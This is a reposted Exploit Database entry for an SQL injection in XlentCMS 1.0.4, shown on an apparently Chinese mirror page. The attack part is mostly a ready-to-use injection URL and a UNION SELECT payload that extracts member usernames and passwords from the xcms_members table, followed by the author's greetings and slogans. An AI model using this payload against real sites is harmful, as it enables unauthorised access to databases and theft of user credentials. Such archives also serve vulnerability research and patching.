XlentCMS 1.0.4 – ‘downloads.php?cat’ SQL Injection

• Exploit Database
• 127 阅读

• 作者： Gamoscu
  日期： 2010-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10899/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  Script: XlentCMS V1.0.4 (downloads.php?cat) SQL Injection Vulnerability   Script site : http://sphere.xlentprojects.se/portal.php   AUTHOR: Gamoscu HOME: http://www.1923turk.biz   Blog: http://gamoscu.wordpress.com/   Greetz: Manas58 Baybora Delibey Tiamo Psiko Turco infazci X-TRO ======================================================= +++++++++++++++++++++++ Exploit +++++++++++++++++++++++ ======================================================= exploit: ------- http://www.xxx.com/path/downloads.php?cat=[SQL]   Example:   1+union+select+1,id,3,4,username%20,password,7,8,9+from+xcms_members--     Vatan Lafla De�il Eylemle Sevilir   Kiskananlar catlasin Zorunuza Gitmesin